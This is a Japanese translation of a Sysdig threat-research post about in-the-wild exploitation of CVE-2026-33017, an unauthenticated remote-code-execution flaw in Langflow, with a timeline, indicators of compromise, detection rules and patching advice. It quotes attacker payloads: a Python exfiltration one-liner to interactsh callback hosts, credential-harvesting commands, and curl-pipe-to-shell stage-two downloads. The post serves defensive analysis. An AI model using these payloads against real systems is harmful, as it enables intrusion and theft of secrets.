CVE-2026-33017: 攻撃者が20時間でLangflow AIパイプラインを侵害した方法

Sysdig脅威研究チーム

Image

2026年3月17日、AI エージェントと検索拡張生成(RAG)パイプラインを構築するためのオープンソース視覚フレームワークであるLangflowの重大な脆弱性が開示されました。この脆弱性であるCVE-2026-33017は、公開フロービルドエンドポイントにおける認証なしのリモートコード実行(RCE)であり、攻撃者が認証情報なしで公開されたLangflowインスタンスで任意のPythonコードを実行することができ、わずか1つのHTTPリクエストで攻撃を開始できます。

アドバイザリ公開から20時間以内に、Sysdig脅威研究チーム(TRT)は野生での最初の悪用の試みを観察しました。当時、公開されたプルーフオブコンセプト(PoC)コードは存在しませんでした。攻撃者はアドバイザリの説明から直接動作する悪用を構築し、インターネットをスキャンして脆弱なインスタンスを探し始めました。流出した情報にはキーと認証情報が含まれており、接続されたデータベースや潜在的なソフトウェアサプライチェーンの侵害へのアクセスを提供しました。

アドバイザリ公開から数時間以内に、Sysdig TRTは複数のクラウドプロバイダーと地域にわたって脆弱なLangflowインスタンスを持つハニーポットノードのフロートを展開しました。その後、現代の脅威アクターがいかに迅速に新しい脆弱性を運用化しているかのテキスト例が示されました。当社の調査結果は以下の通りです。

タイムライン

時刻(UTC)

イベント

3月17日 20:05

アドバイザリGHSA-vwmf-pq79-vjvxがGitHubで公開

3月18日 16:04

最初の悪用試行を観察(77.110.106.154から)

3月18日 16:05

2番目の攻撃者(209.97.165.247)がプローブ開始

3月18日 16:39

複数のノードにわたる継続的なスキャン開始

3月18日 20:55

最初の高度な攻撃者が環境変数流出に進展

アドバイザリ公開から最初の悪用までの時間は約20時間でした。これは注目に値します。なぜなら、最初の攻撃時には公開されたPoC リポジトリがGitHub上に存在しなかったためです。アドバイザリ自体には、攻撃者が追加の調査なしに動作する悪用を構築するのに十分な詳細(脆弱なエンドポイントパスとフロー定義を介したコード注入のメカニズム)が含まれていました。

CVE-2026-33017について

Langflowは人気のあるオープンソースプラットフォーム(145,000以上のGitHubスター)です。これにより、ユーザーは視覚的なドラッグアンドドロップインターフェースを使用してAIワークフローを構築できます。Langflowは、フロー作成と実行を含む、フローとのプログラム的なやり取りを可能にするREST APIを提供します。

CVE-2026-33017は、認証なしのユーザーが公開フローを構築できるように設計されたPOST /api/v1/build_public_tmp/{flow_id}/flow エンドポイントに影響します。この脆弱性は、このエンドポイントが、ノード定義内の任意のPythonコードを含む攻撃者提供のフロー データを受け入れ、サンドボックス化されずにサーバー側で実行するために発生します。これはCVE-2025-3248(2025年5月にCISAの既知悪用脆弱性カタログに追加された以前のLangflow RCE)とは異なります。CVE-2026-33017は確認されたアクティブな悪用にもかかわらず、まだKEVに追加されていません。

Sysdig TRTが観察したもの

アドバイザリ公開後の48時間にわたって、当社のハニーポットフロート全体からの6つのユニークなソースIPからのCVE-2026-33017悪用イベントを記録しました。

フェーズ1: 自動スキャン(20~21時間)

悪用への最初の試みは、自動スキャンインフラストラクチャから来ました。4つのソースIPが互いに数分以内に到着し、すべて同じペイロードを送信しました。これらは複数のプロキシまたはVPSノードを通じてスキャンしている単一のオペレーター(4つの独立した攻撃者ではなく)を表す可能性が高いです:

_r = __import__('os').popen('id').read()
_enc = __import__('base64').b64encode(_r.encode()).decode()
__import__('urllib.request').request.urlopen('http://<unique-subdomain>.oast.*//' + _enc)

このペイロードはidを実行し、出力をbase64エンコードして、interactshコールバックサーバーに流出させます。各リクエストは一意のinteractshサブドメインを使用しますが、コードテンプレートはすべてのIPで同じです。

16:04:57 UTC — 77.110.106.154 → id → d6tcpc6fl...oast.* callback
16:05:23 UTC — 209.97.165.247 → id → d6tcpcjhc...oast.* callback
16:08:41 UTC — 188.166.209.86 → id → d6tcpe7ns...oast.* callback
16:39:32 UTC — 205.237.106.117 → id → d6td5s9qt...oast.* callback

リクエストは明示的にnucleiとして識別します。すべての悪用リクエストはヘッダーにCookie: client_id=nuclei-scannerを含めており、先行するフロー作成リクエストはフローをnuclei-cve-2026-33017という名前にします:

Cookie: client_id=nuclei-scanner
{"name": "nuclei-cve-2026-33017", "data": {"nodes": [], "edges": []}}

名前付き悪用リクエストと他の特性に加えて、nucleiをスキャンツールとして示唆します:

  • User-Agentローテーション: 1つのIP(205.237.106.117)は8つのリクエストにわたって7つの異なるUser-Agent(UA)文字列を使用しました。これにはKnoppixが含まれます。Linux i686 およびFedora; Linux i686。これらはnucleiのランダムUser-Agentワードリストに表示され、実際のブラウザーによって送信されません。
  • 同じペイロードテンプレート: すべてのIPにわたるすべてのリクエストは、interactshコールバックサブドメインのみが異なる同じPythonコード構造を使用しており、{{interactsh-url}} プレースホルダーを使用するnucleiテンプレートと一貫しています。

本稿作成時点では、公式nuclei-templatesリポジトリにはCVE-2026-33017テンプレートが存在しません。したがって、当社が特定したものは、開示直後に数時間以内に作成・展開された個人作成テンプレートである可能性が高いです。テンプレート作成者がスキャン操作を行っている同じ人であるか、他のユーザーにテンプレートを配布しているかは、このデータだけからは不明です。

フェーズ2: カスタム悪用スクリプト(21~24時間)

nucleiスキャンとは対照的に、カスタムPythonスクリプト(python-requests/2.32.3、すべてのリクエストで一貫している、UAローテーションなし)を使用している2番目のクラスの攻撃者が現れました。これらのオペレーターは検証を超えてアクティブな偵察に進みました。1つの攻撃者(83.98.164.238)は方法的なキルチェーンを進めました:

  1. ディレクトリリストと認証情報ファイル: ls -al /root; ls /app; cat /etc/passwd
  2. システムフィンガープリント: iduid=1000(langflowを返した)
  3. ステージ2デリバリー試行: bash -c "$(curl -fsSL http://173.212.205.251:8443/z)"

ステージ2ドロッパーURL(http://173.212.205.251:8443/z)は、攻撃者が脆弱なターゲットを確認したら展開する準備ができていたインフラストラクチャを事前準備していたことを示しています。これは臨機応変なテストではありません。これは脆弱性検証からペイロード展開に単一のセッションで移動する準備された悪用ツールキットを持つ攻撃者です。

フェーズ3: データハーベスティング(24~30時間)

最も高度なアクティビティはIP 173.212.205.251から来ました。これは徹底的な認証情報ハーベスティング操作を実施しました:

  • 環境変数ダンプ: envを実行して、完全なプロセス環境をキャプチャしました。これには、典型的なLangflow展開にはデータベース接続文字列、APIキー、およびクラウド認証情報が含まれます。
  • ファイルシステム列挙: find /app -name "*.db" -o -name "*.env"を実行して、構成ファイルとデータベースを見つけました。
  • ターゲット指定ファイル読み込み: アプリケーションシークレットを含む.envファイルの内容を抽出しました。

ランタイム検出

パッチウィンドウが数時間に短縮されると、ランタイム検出が防御の主要な行であります。このキャンペーンで観察された悪用パターンは、システムコールレベルで明確な信号を生成し、Falcoおよび Sysdig Secureなどのツールが特定のCVEの事前知識なしで検出するように設計されています。

このキャンペーンのすべての攻撃者は、同じポスト悪用プレイブックに従いました:Pythonのos.popen()を介してシェルコマンドを実行し、HTTPで出力を流出させます。このキルチェーンの各段階は、Sysdig Secureに付属している既存のFalcoルールにマップされます:

攻撃段階

観察された動作

Sysdigルール

認証情報盗難

/etc/passwd、/etc/shadow、.envを読み込み

信頼されていないファイルを読み込み

帯域外検証

.oast.live、.oastify.comへのDNSルックアップ

攻撃的セキュリティツールドメイン検出のためのDNSルックアップ

ステージ2デリバリー

curl -fsSL http://attacker/z | sh

Wget/Curlによるインラインシェル実行

C2流出

143.110.183.86:8080へのアウトバウンド接続

C2サーバーへのアウトバウンド接続

このコンテキストでのランタイム検出の主要な利点は、ゼロデイで機能することです。これらのルールは、脆弱性ではなく悪用動作を検出するため、CVE-2026-33017の署名を特に必要としません。初期アクセスがCVE-2026-33017CVE-2025-3248、またはアプリケーション内の他のRCEを通じたかどうかに関係なく、同じルールが発動します。

侵害の兆候

ソースIP

IP

場所

ASN

アクティビティ

77.110.106.154

ドイツ(フランクフルト)

AEZA GROUP LLC

Nucleiスキャン、interactshコールバック

209.97.165.247

シンガポール

DigitalOcean

Nucleiスキャン、interactshコールバック

188.166.209.86

シンガポール

DigitalOcean

Nucleiスキャン、interactshコールバック

205.237.106.117

フランス(パリ)

PUSHPKT OU

Nucleiスキャン、interactshコールバック

83.98.164.238

オランダ(レルシュタット)

Accenture B.V.

カスタム悪用、偵察、ステージ2ドロッパー配信

173.212.205.251

フランス(ラウターボーグ)

Contabo GmbH

カスタム悪用、環境/認証情報ハーベスティング、ドロッパーホスト

C2およびステージングインフラストラクチャ

インジケーター

タイプ

場所

コンテキスト

143.110.183.86:8080

C2サーバー

インド、DigitalOcean

base64エンコード流出を受信

173.212.205.251:8443

ドロッパーホスト

フランス、Contabo GmbH

/zでステージ2ペイロードを配信

ドロッパーURL

http://143.110.183.86:8080/http://173.212.205.251:8443/z

Interactshコールバックドメイン

nucleiスキャンアクティビティ全体で12個のユニークなinteractshサブドメインが観察され、.oast.live、.oast.me、.oast.pro.oast.fun TLDを使用していました。以下は1つのサンプルです:

d6tcpc6flblph01gdcb0ku9ixih393m54.oast.live
d6tcpe7nsv6kk9rdrpggi37zmjfxw9imr.oast.me
d6td5s9qte0bea7273e0wuou77jjx77uk.oast.pro
d6tgbe1qte0a8rkffb3gqabqm8517exd3.oast.fun

注:ソースIPはオペレーターの真の起源ではなく、プロキシまたはVPSノードである可能性があります。interactshサブドメインはエフェメラルであり、スキャンごとにローテーションします。

推奨事項

  • 更新 Langflowを直ちに更新してください。パッチ版が利用できない場合は、/api/v1/build_public_tmpエンドポイントへのネットワークアクセスを制限するか、公開フロービルドを完全に無効にします。
  • 監査 公開されたLangflowインスタンスの環境変数とシークレットを監査します。APIキー、データベースパスワード、およびクラウド認証情報をローテーションします。
  • 監視 異常なポートまたは既知のコールバックサービス(oastify.com、interact.sh、dnslog.cn)へのアウトバウンド接続について監視します。これはアクティブな悪用とデータ流出を示しています。
  • 制限 ファイアウォールルールまたは認証レイヤーを持つ逆プロキシを使用してLangflowインスタンスへのネットワークアクセスを制限します。Langflowは認証レイヤーなしでインターネットに直接公開すべきではありません。
  • インベントリ 環境内のAI/MLツーリングをインベントリに入れます。Langflow、n8n、および他のワークフロー自動化ツールなどのプラットフォームはますます標的にされています。これは、広いAPIアクセスで実行され、標準的なセキュリティレビュープロセスの外で展開されることが多いためです。

結論

脅威アクターが動作する悪用を構築するのに十分なドキュメントとして機能したCVE-2026-33017は、例外ではなく規範になりつつあるパターンを示しています:人気のあるオープンソースツールの重大な脆弱性は、公開されたPoC コードさえ利用可能になる前に、開示から数時間以内に武器化されています。さらに、AIワークロードはますます脅威アクターの照準に含まれており、高価値データ、ソフトウェアサプライチェーンアクセス、および多くの場合堅牢なセキュリティの欠如を提供しています。Zero Day Clockが明確にしているように、これは異常値ではありません。「アドバイザリ公開」から「同日の武器化」への崩壊は、今日の脆弱性がどのように悪用されているかの構造的シフトです。

防御者にとって、実際の教訓は、「アドバイザリ公開」から「アクティブな悪用」までのウィンドウが、数日または数週間ではなく数時間で測定されるようになったということです。スケジュールされたパッチサイクルに依存して重大な脆弱性に対処する組織は、攻撃者がすでに追い越したタイムラインで動作しています。ランタイム検出、ネットワークセグメンテーション、および迅速な対応機能は、開示と修復の間のギャップを埋めるために不可欠です。

クラウド検出・対応

翻訳元: https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours

ソース: sysdig.com